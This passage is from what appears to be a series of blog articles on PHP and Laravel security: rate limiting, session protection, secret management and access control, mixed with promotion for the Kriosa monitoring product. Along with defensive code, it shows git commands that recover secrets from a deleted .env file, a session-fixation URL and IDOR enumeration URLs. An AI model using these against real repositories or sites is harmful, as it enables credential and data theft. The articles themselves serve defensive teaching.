        VALUES (?, ?)
    ');
    $stmt->execute([$identifier, $now]);

    return true;
}

$ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';

if (!checkRateLimitDb($pdo, 'login:ip:' . $ip, 5, 60)) {
    http_response_code(429);
    header('Retry-After: 60');
    die('Too many login attempts. Please try again in 60 seconds.');
}

Redis-based — the production standard:

function checkRateLimitRedis(
    Redis $redis,
    string $identifier,
    int $maxAttempts,
    int $windowSeconds
): bool {
    $key = 'rate_limit:' . $identifier;
    $attempts = $redis->incr($key);

    if ($attempts === 1) {
        $redis->expire($key, $windowSeconds);
    }

    return $attempts <= $maxAttempts;
}

$redis = new Redis();
$redis->connect('127.0.0.1', 6379);

$ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
$email = strtolower(trim($_POST['email'] ?? ''));

$ipAllowed    = checkRateLimitRedis($redis, 'login:ip:' . $ip, 10, 60);
$emailAllowed = checkRateLimitRedis($redis, 'login:email:' . $email, 5, 300);

if (!$ipAllowed || !$emailAllowed) {
    http_response_code(429);
    header('Retry-After: 60');
    die('Too many attempts. Please try again later.');
}

Note on atomicity: the INCR followed by EXPIRE sequence is not a single atomic operation. In rare failure scenarios the key could be incremented without its expiry being set. For critical production implementations use a Redis transaction or Lua script to make the operation fully atomic.

Rate Limiting by Multiple Factors

Rate limiting only by IP has a weakness botnets distribute attempts across thousands of addresses, each making only a few requests. Rate limiting by multiple factors closes this gap:

$ipAllowed       = checkRateLimitRedis($redis, 'login:ip:' . $ip, 10, 60);
$emailAllowed    = checkRateLimitRedis($redis, 'login:email:' . $email, 5, 300);
$combinedAllowed = checkRateLimitRedis($redis, 'login:combined:' . $ip . ':' . $email, 3, 60);

if (!$ipAllowed || !$emailAllowed || !$combinedAllowed) {
    http_response_code(429);
    header('Retry-After: 60');
    die('Too many attempts. Please try again later.');
}

By IP — stops automated attacks from single sources
By email — prevents rotating IPs to attack one account
By IP plus email — the most targeted limit for a specific attacker targeting a specific account

Progressive Delays

Instead of hard blocking after a threshold progressive delays increase the wait time after each failed attempt:

$delays = [0, 0, 0, 2, 5, 10, 30, 60];

$attempts = (int) ($redis->get('login:attempts:' . $ip) ?: 0);
$delay = $delays[min($attempts, count($delays) - 1)];

if ($delay > 0) {
    sleep($delay);
}

Legitimate users who mistype their password experience a small wait but are not hard blocked. Automated attackers are slowed dramatically because every attempt costs them time.

Rate Limiting in Laravel

Laravel has a built-in rate limiting system that handles most of what you would build manually.

The throttle middleware — simplest approach:

Route::post('/login', [AuthController::class, 'login'])
    ->middleware('throttle:5,1'); // 5 attempts per 1 minute per IP

This is the minimum. For a production login endpoint you need more control.

Named rate limiters — the correct production approach:

use Illuminate\Cache\RateLimiting\Limit;
use Illuminate\Support\Facades\RateLimiter;

RateLimiter::for('login', function (Request $request) {
    return [
        Limit::perMinute(5)->by($request->ip()),
        Limit::perMinutes(5, 10)->by($request->input('email')),
    ];
});

RateLimiter::for('api', function (Request $request) {
    return $request->user()
        ? Limit::perMinute(60)->by($request->user()->id)
        : Limit::perMinute(10)->by($request->ip());
});

RateLimiter::for('sensitive', function (Request $request) {
    return [
        Limit::perMinute(3)->by($request->ip()),
        Limit::perHour(10)->by($request->ip()),
    ];
});

Route::post('/login', [AuthController::class, 'login'])
    ->middleware('throttle:login');

Route::post('/password/reset', [PasswordController::class, 'send'])
    ->middleware('throttle:sensitive');

Route::middleware('throttle:api')->group(function () {
    Route::get('/user', [UserController::class, 'show']);
    Route::apiResource('invoices', InvoiceController::class);
});

Manual rate limiting in controllers — maximum control:

use Illuminate\Support\Facades\RateLimiter;

public function login(Request $request)
{
    $key = 'login:' . $request->ip() . ':' . $request->input('email');

    if (RateLimiter::tooManyAttempts($key, 5)) {
        $seconds = RateLimiter::availableIn($key);

        return response()->json([
            'message' => "Too many attempts. Try again in {$seconds} seconds."
        ], 429);
    }

    if (!Auth::attempt($request->only('email', 'password'))) {
        RateLimiter::hit($key, 60);

        return response()->json(['message' => 'Invalid credentials.'], 401);
    }

    RateLimiter::clear($key);
    $request->session()->regenerate();

    return response()->json(['message' => 'Authenticated.']);
}

Four methods to understand:

RateLimiter::hit($key, $decay) — records an attempt with a decay time in seconds
RateLimiter::tooManyAttempts($key, $maxAttempts) — checks if the limit is exceeded
RateLimiter::clear($key) — resets the counter after successful login so a legitimate user starts fresh
RateLimiter::availableIn($key) — returns seconds until the limit resets for user-friendly error messages

Redis-backed rate limiting for production:

# .env
CACHE_DRIVER=redis
REDIS_HOST=127.0.0.1
REDIS_PORT=6379

With Redis as the cache driver Laravel's rate limiting is atomic, fast, and automatically distributed across multiple application servers.

What to Rate Limit

Always — strict limits:

Login endpoints
Password reset requests
Registration forms
Email verification resends
OTP and 2FA code submission
Account deletion confirmation

Moderate limits:

API endpoints for authenticated users
Search endpoints
File upload endpoints

Generous limits:

Public API endpoints
Contact forms
Comment submission

Responding to Rate Limit Violations

How you respond matters as much as whether you rate limit:

// Wrong — reveals too much
return response()->json([
    'error' => 'You have made 5 failed login attempts for user@example.com'
], 429);

// Correct — generic with retry timing
return response()->json([
    'message' => 'Too many attempts. Please try again later.',
    'retry_after' => $seconds
], 429);

Never reveal which factor triggered the rate limit. Never reveal how many attempts were made. Never reveal whether the account exists. Generic messages protect against attackers using rate limit responses to enumerate valid accounts.

The Rate Limiting Checklist

For plain PHP:

Use Redis for rate limiting in production not sessions
Rate limit by IP address and by username separately
Be aware that INCR followed by EXPIRE is not atomic use transactions for critical implementations
Set the Retry-After header on every 429 response
Clean up old rate limit data automatically using Redis expiry
Implement progressive delays for a better legitimate user experience
Log rate limit violations for security monitoring

For Laravel:

Use named rate limiters for complex rules
Rate limit by both IP and email on login endpoints
Use RateLimiter::clear() to reset the counter on successful login
Set CACHE_DRIVER=redis in production
Rate limit password reset, registration, OTP, and 2FA endpoints
Never reveal which rate limit factor was triggered in error messages
Check your Laravel version for the correct location of rate limiter configuration

Where Kriosa Fits

Rate limiting at the application layer controls how many requests reach your login logic. But it has gaps.

A credential stuffing attack where each compromised credential is tried only once never triggers a rate limit because one attempt per account is never flagged. An attacker using a large botnet can stay under per-IP rate limits while still making thousands of attempts across your user base.

These are the attacks that application-level rate limiting cannot see because each individual request looks legitimate.

Kriosa monitors incoming request patterns for behavioral signals that individual rate limiters cannot surface flagging suspicious activity in the XAI dashboard with an explanation of what was detected and why.
production PHP applications are already running with Kriosa in front of them.

Prolify — a design-proofing platform where designers share work with clients for review and approval. Every session is a trust boundary. A compromised login means a client's unreleased creative work is exposed to the wrong person.

belle full — a PHP application built for bakers, handling real customer orders and business data. Secured with Kriosa from day one not retrofitted after a scare, built with protection as a foundation.

Both applications implement application-level rate limiting on their login and sensitive endpoints. That handles the obvious attacks a single IP hammering a login form, a script cycling through common passwords.

What rate limiting cannot see is the subtler pattern. One attempt against one account from one IP looks like a normal failed login. One thousand attempts spread across one thousand accounts from one thousand IPs each individually normal looks like nothing to a rate limiter. To Kriosa it looks like a coordinated attack.

That is the layer Prooflify and Belle-Full have that rate limiting alone cannot provide. Visibility into what is happening across the application not just at each individual endpoint.

Rate limiting controls the rate. Kriosa helps you understand the pattern.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Documentation: kriosa Docs.

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.
The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: This article — rate limiting in Laravel and PHP and how to stop brute force before it starts

Session Security in PHP — What Most Developers Get Wrong

Nchiminyi — Founder, Kriosa — Tue, 11 Aug 2026 07:00:00 +0000

ORIGINALLY PUBLISHED ON MEDIUM
The session ID is the key to your user's account. Here is every way attackers steal it and how to stop them.

This is the twelfth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface
Broken access control in Laravel — why being logged in is not enough
Secrets in Laravel — why .env is only the beginning

Every article in this series follows the same principle: understand the attack before you try to stop it.

Session security is different from most vulnerabilities in this series. SQL injection, XSS, and path traversal attack your application directly. Session attacks attack the identity layer the mechanism that proves who a user is after they have authenticated. Get it wrong and it does not matter how secure the rest of your application is. An attacker with a valid session ID is indistinguishable from a legitimate user.

How PHP Sessions Work

When a user visits your PHP application PHP creates a session:

PHP generates a cryptographically random session ID
PHP stores that session ID in a cookie on the user's browser — by default called PHPSESSID
PHP stores session data on the server keyed by that session ID
On every subsequent request the browser sends the session cookie automatically
PHP reads the session ID from the cookie and restores the session

The session ID is the key to everything. Whoever holds that session ID can impersonate the user it belongs to. This is what every session attack targets.

Attack 1 — Session Hijacking

Session hijacking is when an attacker steals a valid session ID and uses it to impersonate the legitimate user.

Method 1 — XSS:

If your application has an XSS vulnerability an attacker injects JavaScript that reads the session cookie and sends it to their server. This is why the HttpOnly cookie attribute exists it prevents JavaScript from reading cookies entirely.

Method 2 — Network interception:

If your application runs over HTTP an attacker on the same network can intercept the session cookie from unencrypted traffic. This is why the Secure cookie attribute exists it tells the browser to only send the cookie over HTTPS.

Method 3 — Session IDs in URLs:

https://yoursite.com/dashboard?PHPSESSID=abc123def456

URL-based session IDs appear in server logs, browser history, and referrer headers. Stealing them requires no technical attack just access to a log file.

Method 4 — Predictable session IDs:

If session IDs are generated with weak randomness an attacker can predict or brute force them. PHP's default session ID generation is cryptographically secure — but custom session ID generation in older applications often is not.

Attack 2 — Session Fixation

The attacker does not steal a session ID they force the victim to use one the attacker already knows.

The attack sequence:

Attacker obtains a valid session ID: abc123
Attacker tricks the victim into using that session ID: https://yoursite.com/login?PHPSESSID=abc123
Victim logs in using session ID abc123
If your application does not generate a new session ID after login, session abc123 is now authenticated
Attacker uses session ID abc123 — which they have known all along to access the victim's account

The victim logged in successfully. The attacker never knew their password. The attack worked because the session ID did not change after authentication.

PHP Session Configuration A Production Baseline

; php.ini

; Never accept session IDs in URLs only in cookies
session.use_only_cookies = 1

; Prevent JavaScript from reading session cookies
session.cookie_httponly = 1

; Only send session cookies over HTTPS
session.cookie_secure = 1

; Restrict cookie to same-site requests
session.cookie_samesite = Lax

; Reject unrecognized session IDs
session.use_strict_mode = 1

; Set a reasonable session lifetime
session.gc_maxlifetime = 1440

The two most important settings:

session.use_only_cookies = 1 prevents PHP from accepting session IDs in URLs.

session.use_strict_mode = 1 rejects session IDs that PHP did not create.

Together these two settings eliminate the most common session fixation attack vector at the configuration level.

Fixing Session Fixation — Session Regeneration

Configuration alone is not enough. Your application must regenerate the session ID after every successful login:

session_start();

if ($credentialsAreValid) {
    // Regenerate the session ID and delete the old session data
    session_regenerate_id(true);

    // Now set authenticated session data
    $_SESSION['user_id'] = $user->id;
    $_SESSION['authenticated'] = true;
}

The true parameter deletes the old session data on the server. This removes the window an attacker could exploit if they had the previous session ID.

Also regenerate on privilege changes:

session_regenerate_id(true);
$_SESSION['role'] = 'admin';

Cookie Security Attributes

Every session cookie requires three security attributes.

HttpOnly — prevents JavaScript from reading the cookie:

session_set_cookie_params(['httponly' => true]);

Secure — HTTPS only:

session_set_cookie_params(['secure' => true]);

SameSite — controls cross-site cookie sending:

session_set_cookie_params(['samesite' => 'Lax']);

Lax provides meaningful CSRF protection while preserving most legitimate use cases. Strict is strongest but breaks flows like clicking an external link into an authenticated state. None always sends the cookie only for intentional cross-site use cases and only with Secure.

The complete secure session setup:

// Call before session_start()
session_set_cookie_params([
    'lifetime' => 0,        // Expires when browser closes
    'path'     => '/',
    'domain'   => '',
    'secure'   => true,     // HTTPS only
    'httponly' => true,     // No JavaScript access
    'samesite' => 'Lax',   // CSRF protection
]);

session_start();

Session Storage Security

By default PHP stores session data in files in /tmp. On shared hosting other tenants may be able to read your session files.

Database storage:

session_set_save_handler(new DatabaseSessionHandler($pdo), true);
session_start();

Redis:

session.save_handler = redis
session.save_path = "tcp://127.0.0.1:6379"

Database sessions give you the ability to invalidate specific sessions useful when you need to force a logout for a compromised account.

Laravel Session Configuration

Laravel abstracts PHP sessions behind its own session system. Configuration lives in config/session.php.

The critical production settings:

// config/session.php

// Encrypt session data at rest
'encrypt' => true,

// HTTPS only session cookie
'secure' => env('SESSION_SECURE_COOKIE', true),

// Prevent JavaScript from reading the cookie
'http_only' => true,

// CSRF protection
'same_site' => 'lax',

// Session lifetime in minutes
'lifetime' => env('SESSION_LIFETIME', 120),

// Session storage driver
'driver' => env('SESSION_DRIVER', 'redis'),

'encrypt' => true encrypts all session data using your APP_KEY. Even if an attacker gains access to your session storage they cannot read the contents without the encryption key.

Never use the file driver in production on shared hosting. Use database or redis.

Session Regeneration in Laravel

Laravel automatically regenerates the session ID on login when you use Auth::attempt() or Auth::login(). This is built into the framework.

If you build custom authentication or manually change privileges regenerate explicitly:

// Regenerate session ID — keep existing data
$request->session()->regenerate();

// Regenerate and invalidate the old session completely
$request->session()->invalidate();
$request->session()->regenerateToken();

regenerateToken() regenerates the CSRF token stored in the session. Call this alongside session regeneration after login CSRF token fixation mirrors session fixation and should be addressed at the same time.

Absolute Session Timeout

Idle timeout alone is not enough. A user who stays active can maintain a session indefinitely. Absolute timeout forces re-authentication after a fixed period regardless of activity:

$_SESSION['login_time'] = time();

$absoluteTimeout = 8 * 60 * 60; // 8 hours

if (time() - $_SESSION['login_time'] > $absoluteTimeout) {
    session_destroy();
    header('Location: /login?reason=timeout');
    exit;
}

In Laravel:

// config/session.php
'lifetime' => 480, // 8 hours in minutes

For applications handling sensitive data consider shorter absolute timeouts.

Secure Logout

Always completely destroy the session on logout not just unset session variables:

// Wrong — session ID still valid
unset($_SESSION['user_id']);

// Correct
session_start();
$_SESSION = [];

if (ini_get('session.use_cookies')) {
    $params = session_get_cookie_params();
    setcookie(
        session_name(), '',
        time() - 42000,
        $params['path'],
        $params['domain'],
        $params['secure'],
        $params['httponly']
    );
}

session_destroy();

In Laravel the correct logout sequence is three steps:

Auth::logout();
$request->session()->invalidate();
$request->session()->regenerateToken();
return redirect('/');

Each step matters:

Auth::logout() clears authentication state and removes the user from the session
session()->invalidate() destroys the session and generates a new session ID
session()->regenerateToken() regenerates the CSRF token

Missing any of these leaves the old session potentially exploitable.

The Session Security Checklist

For plain PHP:

session.use_only_cookies = 1 — never accept session IDs in URLs
session.use_strict_mode = 1 — reject unrecognized session IDs
session.cookie_httponly = 1 — prevent JavaScript from reading cookies
session.cookie_secure = 1 — HTTPS only
session.cookie_samesite = Lax — CSRF protection
Call session_regenerate_id(true) after every successful login
Call session_regenerate_id(true) after every privilege change
Destroy the session completely on logout not just unset variables
Use database or Redis session storage in production
Implement absolute session timeout for sensitive applications

For Laravel:

'secure' => true in config/session.php
'http_only' => true in config/session.php
'encrypt' => true in config/session.php
'same_site' => 'lax' in config/session.php
Use database or redis session driver in production
Call all three logout methods on every logout
Never build custom authentication that skips session regeneration after login

Kriosa in Production Real Applications, Real Protection

The principles in this article are not hypothetical. Two production PHP applications are already running with Kriosa in front of them.

Prooflify — a design-proofing platform with client review workflows. Designers share work with clients, clients leave feedback, and the platform manages approval states. Every client session is a trust boundary the wrong session in the wrong hands could expose a client's unreleased creative work.

belle full — a production PHP application for bakers, secured with Kriosa from day one. It handles customer orders, client data, and business operations for a real business where a session breach means a real person's data and livelihood are at risk.

Both applications have Kriosa monitoring every incoming request before it reaches the application layer.

Where Kriosa Fits

Configure your sessions correctly first. Then put Kriosa in front of your application to detect suspicious requests and behavior that your application code alone cannot see.

Session attacks leave behavioral traces before they succeed requests containing session IDs in URL parameters on applications that should only use cookies, authenticated sessions appearing from unexpected locations, rapid requests cycling through session ID values that may indicate probing activity.

These are behavioral signals a security monitoring layer can detect and surface before a breach occurs.

Kriosa sits in front of your application and gives you visibility into suspicious requests before they reach your code with the XAI dashboard explaining exactly what was detected and why it was flagged.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: This article — session security in PHP and what most developers get wrong

Secrets in Laravel — Why `.env` Is Only the Beginning

Nchiminyi — Founder, Kriosa — Fri, 07 Aug 2026 13:15:01 +0000

Originally published on Medium
Most developers think adding .env to .gitignore solves secret management. It doesn't.

This is the eleventh article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface
Broken access control in Laravel — why being logged in is not enough

Every article in this series follows the same principle: understand the attack before you try to stop it.

Secrets are different from every other topic in this series. SQL injection, XSS, path traversal those are vulnerabilities in your code. Secret leakage is a vulnerability in your process. It happens not because you wrote something wrong but because you stored, logged, or committed something in the wrong place.

And unlike a code vulnerability that can be patched an exposed secret that has been harvested by an automated scanner cannot be un-exposed. The only fix is rotation.

What Secrets Actually Are

Not all configuration is equal. There is a meaningful difference between configuration and secrets.

Configuration controls how your application behaves:

APP_NAME=MyApp
APP_URL=https://myapp.com
MAIL_MAILER=smtp
DB_HOST=localhost

Secrets grant access to systems, services, or data:

DB_PASSWORD=supersecretpassword
STRIPE_SECRET_KEY=sk_live_abc123
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI
MAIL_PASSWORD=mypassword
APP_KEY=base64:abc123...

Configuration can often be committed to version control. Secrets should never be. The distinction matters because secrets require fundamentally different handling different storage, different access controls, and a rotation plan for when they are compromised.

Most Laravel developers put both in .env and add .env to .gitignore. That solves one problem. It leaves five others untouched.

How Secrets Actually Leak

During internal testing of Kriosa, automated scanners were repeatedly observed probing for exposed .env files, backup archives, and forgotten configuration endpoints. Those reconnaissance requests happen long before an attacker attempts exploitation which is why secret exposure should be treated as both a prevention and a detection problem, not just a deployment concern.

Here is every vector through which secrets leave applications in practice.

Leak Vector 1 — Git History

A developer accidentally commits .env:

git add .
git commit -m "initial commit"

They realize the mistake and delete the file:

git rm .env
git commit -m "remove env file"

They think the problem is solved. It is not.

Git is designed to never lose history. The .env file and every secret it contained are permanently stored in the Git object database. Anyone with access to the repository can retrieve them:

git log --all --full-history -- .env
git show [commit-hash]:.env

Every secret that was ever in that file is recoverable even after deletion — unless the entire Git history is rewritten with a tool like git filter-repo.

Automated tools scan public GitHub repositories continuously looking for accidentally committed secrets. Within minutes of a secret being pushed to a public repository it has likely been harvested.

What to do:

Add .env to .gitignore before the first commit not after
If secrets were committed use git filter-repo to rewrite history
Immediately rotate every secret that was ever in the committed file
Never assume deletion from Git removes the data

Leak Vector 2 — Log Files

Laravel logs requests, errors, and debug information. If your application logs user input or request data and many do secrets can end up in log files in plain text.

Common patterns that cause secret leakage into logs:

// Logs everything — including Authorization headers and API keys
Log::info('Incoming request', $request->all());

// Logs the full exception context — may include secrets in memory
Log::error('Payment failed', ['data' => $request->all()]);

// Logs API responses that may contain tokens
Log::debug('API response', ['response' => $apiResponse]);

If a user submits a form with a field named api_key and you log $request->all() that key is now in your log file in plain text.

Laravel provides a way to prevent specific fields from appearing in logs through the exception handler:

// app/Exceptions/Handler.php — Laravel 10 and earlier
protected $dontFlash = [
    'current_password',
    'password',
    'password_confirmation',
];

Laravel does not automatically hide custom fields like api_key, token, or stripe_key. If your application accepts them extend the $dontFlash array or explicitly avoid logging those values:

protected $dontFlash = [
    'current_password',
    'password',
    'password_confirmation',
    'api_key',
    'token',
    'secret',
    'stripe_key',
    'aws_key',
];

Add every secret field name your application uses to this list.

Leak Vector 3 — Debug Mode and Error Pages

When APP_DEBUG=true in production, Laravel's error pages can expose sensitive configuration values, stack traces, file paths, and application internals. Depending on the error and configuration, this may include secrets or values derived from your environment.

APP_DEBUG=false  ← non-negotiable in production
APP_ENV=production

Even with debug mode off, verbose error handling can expose secrets:

// Stack traces may contain secret values that were in memory at the point of failure
Log::error($exception->getMessage(), $exception->getTrace());

Log the message. Be careful with the full trace when secrets may be in scope at the point of failure.

Leak Vector 4 — Hardcoded Secrets in Code

Developers sometimes hardcode secrets directly in code during development and forget to move them to environment variables before committing:

// Dangerous — committed to version control, visible to every developer
$stripe = new StripeClient('sk_live_abc123def456');

// Safe — loaded from config
$stripe = new StripeClient(config('services.stripe.secret'));

Hardcoded secrets are committed to version control, stored in deployment artifacts, visible in code reviews, and accessible to every developer with repository access. They are also the hardest to rotate because you have to find every place the secret appears in the codebase.

Leak Vector 5 — Third-Party Logging Services

Many Laravel applications send logs to third-party services Papertrail, Loggly, Datadog, Sentry. If secrets appear in your application logs they appear in these services too with their own retention policies, access controls, and security posture that you do not fully control.

If you send logs to a third-party service audit what is in those logs. Secrets that appear there need to be rotated and the logging configuration needs to be fixed before the rotation has any meaningful effect.

Laravel-Specific Secret Management

The APP_KEY

Laravel's APP_KEY is the most sensitive secret in a Laravel application. It is used to encrypt cookies, session data, and model fields encrypted with Laravel's encryption.

If your APP_KEY is compromised an attacker can decrypt all encrypted session data, forge signed cookies, and decrypt any fields encrypted with Laravel's encryption. Rotate it immediately if it is ever exposed but be aware that rotating the APP_KEY invalidates all existing sessions and encrypted data.

# Generate a new APP_KEY
php artisan key:generate

Using config() instead of env() directly

This is a Laravel best practice that most developers miss:

// Wrong — does not work correctly when config is cached
$key = env('STRIPE_SECRET_KEY');

// Correct — works with config caching
$key = config('services.stripe.secret');

Once configuration is cached with php artisan config:cache, you should only call env() from configuration files. Application code should access configuration through config(), ensuring values continue to work correctly when configuration is cached.

Define secrets in config files:

// config/services.php
'stripe' => [
    'secret' => env('STRIPE_SECRET_KEY'),
    'webhook_secret' => env('STRIPE_WEBHOOK_SECRET'),
],

Then access them through config() in your application code:

$key = config('services.stripe.secret');

Laravel's encrypted .env

Recent versions of Laravel support encrypted environment files:

# Encrypt your .env file  safe to commit the encrypted version
php artisan env:encrypt

# Decrypt on the server using the encryption key
php artisan env:decrypt --key=[encryption-key]

This allows you to commit an encrypted .env file to version control while keeping the decryption key separate. The decryption key itself must be stored and transmitted securely if it is compromised the encrypted file offers no protection.

Secret Rotation

Secret rotation means replacing a compromised or expired secret with a new one. Most developers never think about rotation until something goes wrong. By then the window of exposure may already be significant.

Rotate immediately when:

A secret was committed to a public repository
A developer with access to secrets leaves the team
A third-party service you use reports a breach
Your server was compromised
A secret appeared in logs that were accessed without authorization
You suspect any unauthorized access to a system that holds secrets

Laravel rotation checklist:

Generate a new value for the compromised secret
Update .env on every server
Update the secret in CI/CD pipelines and deployment configurations
Revoke the old secret at the source revoke the API key, change the database password, regenerate the APP_KEY
Verify the application works with the new secret
Audit logs for evidence of use of the compromised secret

The rotation problem most developers ignore:

You cannot rotate a secret you do not know exists. If secrets are scattered across codebases, hardcoded in old scripts, stored in developers' local .env files, and embedded in CI/CD configurations you cannot reliably rotate them when something goes wrong.

This is why centralization matters. Every secret in one place, with one rotation process, auditable and controllable.

Beyond .env — Secret Management for Production

For production applications .env files have real limitations. They are stored in plain text on the server. They are difficult to rotate across multiple servers simultaneously. They are not auditable. They are not versioned.

Options for Laravel in production:

AWS Secrets Manager:

$secret = Cache::remember(
    'db-secret',
    now()->addMinutes(10),
    function () use ($client) {
        $result = $client->getSecretValue([
            'SecretId' => 'myapp/production/db'
        ]);
        return json_decode($result['SecretString'], true);
    }
);

Note the caching without it every request hits the AWS API, adding latency and cost. Cache secrets locally for a short period and refresh them periodically.

Laravel Forge:

Laravel Forge provides a convenient interface for managing environment variables during deployment, but those values are still stored on the server. Forge simplifies management it is not a dedicated secret manager.

GitHub Actions Secrets and GitLab CI/CD Variables:

For CI/CD pipelines use your platform's built-in secret management rather than storing secrets in pipeline configuration files or repository variables visible to all developers.

The Secrets Security Checklist

.env is in .gitignore before the first commit not after
No secrets are hardcoded anywhere in the codebase
APP_DEBUG=false in all production environments
$dontFlash in the exception handler covers every secret field name your application uses
Secrets are never logged every Log:: call has been reviewed
config() is used instead of env() directly in application code
Every developer who leaves the team triggers immediate secret rotation
Git history has been audited for accidentally committed secrets
A rotation plan exists and has been tested for every secret in the application
Production secrets are stored in a secret manager not a plain text .env file

Secret management is never about hiding a single .env file.

It is about controlling where secrets live, limiting who can access them, rotating them when necessary, and detecting when someone is trying to steal them.

In production, Kriosa monitors incoming request patterns for behavioral signals of secret probing — requests targeting .env files, configuration endpoints, backup files, and Git metadata that may expose secrets. When reconnaissance activity targeting your secrets starts, the XAI dashboard surfaces it with an explanation of what was attempted and why it was flagged.

Prevention reduces exposure. Detection reveals compromise. Mature security requires both.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php
Then add,

Then at the entry or index.php add at the top before your code runs.


<?php
// After Composer installation
require_once 'vendor/autoload.php';

$apiKey = getenv('KRIOSA_API_KEY') ?: 'YOUR_API_KEY_HERE';
try {
    $kriosa = new Kriosa($apiKey, [
        'timeout'     => 3,
        'debug'       => false,
        'fail_closed' => false,
        'show_badge'  => true,
    ]);
    if (!$kriosa->protect()) {
        header('X-Kriosa-Blocked: true');
        http_response_code(403);
        exit('Access Denied');
    }
} catch (Exception $e) {
    error_log('Kriosa Security Error: ' . $e->getMessage());
}
// Your application continues safely...

See Documentation : Documentation
Built by a developer, for developers who want to understand their security — not just outsource it.
Sleep better we're awale - kriosa
The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app and what to hide
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: This article — secrets in Laravel and why .env is only the beginning

Broken Access Control in Laravel — Why Being Logged In Isn't Enough

Nchiminyi — Founder, Kriosa — Tue, 04 Aug 2026 10:02:29 +0000

This is the tenth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface

Every article in this series follows the same principle: understand the attack before you try to stop it.

Broken Access Control has been ranked the number one risk in the OWASP Top 10 since 2021. Not the most technically complex. The most common. Because developers assume that if a user is logged in they must be allowed to do what they are trying to do.

That assumption is wrong every time.

The Distinction Most Developers Miss

Authentication and authorization are two completely different things.

Authentication answers one question: who are you? You log in with your email and password. The system verifies your identity. You get a session.

Authorization answers a different question: what are you allowed to do? You are logged in — but can you access this specific resource? Can you edit this specific record? Can you see this specific user's data?

Broken access control happens when authentication works correctly but authorization is missing, incomplete, or wrong.

A developer who locks the front door but leaves every room inside unlocked has authentication without authorization. The attacker cannot get into the building. But once they are in — as any legitimate user — every unlocked room becomes accessible.

The Four Types of Broken Access Control

1. IDOR — Insecure Direct Object Reference

This is the most common and most exploited form of broken access control.

Your application shows a user their invoice:

https://yoursite.com/invoices/1234

The developer checked that the user is logged in. They did not check that invoice 1234 belongs to this user.

An attacker changes the URL:

https://yoursite.com/invoices/1235
https://yoursite.com/invoices/1236

They see someone else's invoice. Then another. They enumerate every invoice in your system by incrementing the number. Every customer's billing history. Every order. Every private document.

In production, this looks like a single authenticated user requesting dozens of sequential resource IDs in a short period. Traditional access logs record the requests but rarely highlight the pattern. Security monitoring tools such as Kriosa can identify this enumeration behavior and flag it as a potential authorization probe long before large amounts of data are exposed.

2. Missing Function-Level Access Control

A developer protects the admin dashboard with middleware but individual admin functions have no separate authorization check:

// Route is protected
Route::middleware(['auth', 'can:access-admin'])->group(function () {
    Route::get('/admin', [AdminController::class, 'index']);
});

// This API endpoint was added later and has no protection
Route::post('/api/delete-user', [AdminController::class, 'deleteUser']);

A regular user who discovers /api/delete-user calls it directly — bypassing middleware entirely because the API route was added separately and the developer forgot to protect it.

3. Privilege Escalation

Horizontal — accessing another user's data at the same privilege level. User A reading User B's messages. Commonly caused by IDOR.

Vertical — gaining higher privileges than your role allows. A regular user becoming an admin.

Example of vertical escalation through mass assignment:

// Dangerous — user controls their own role
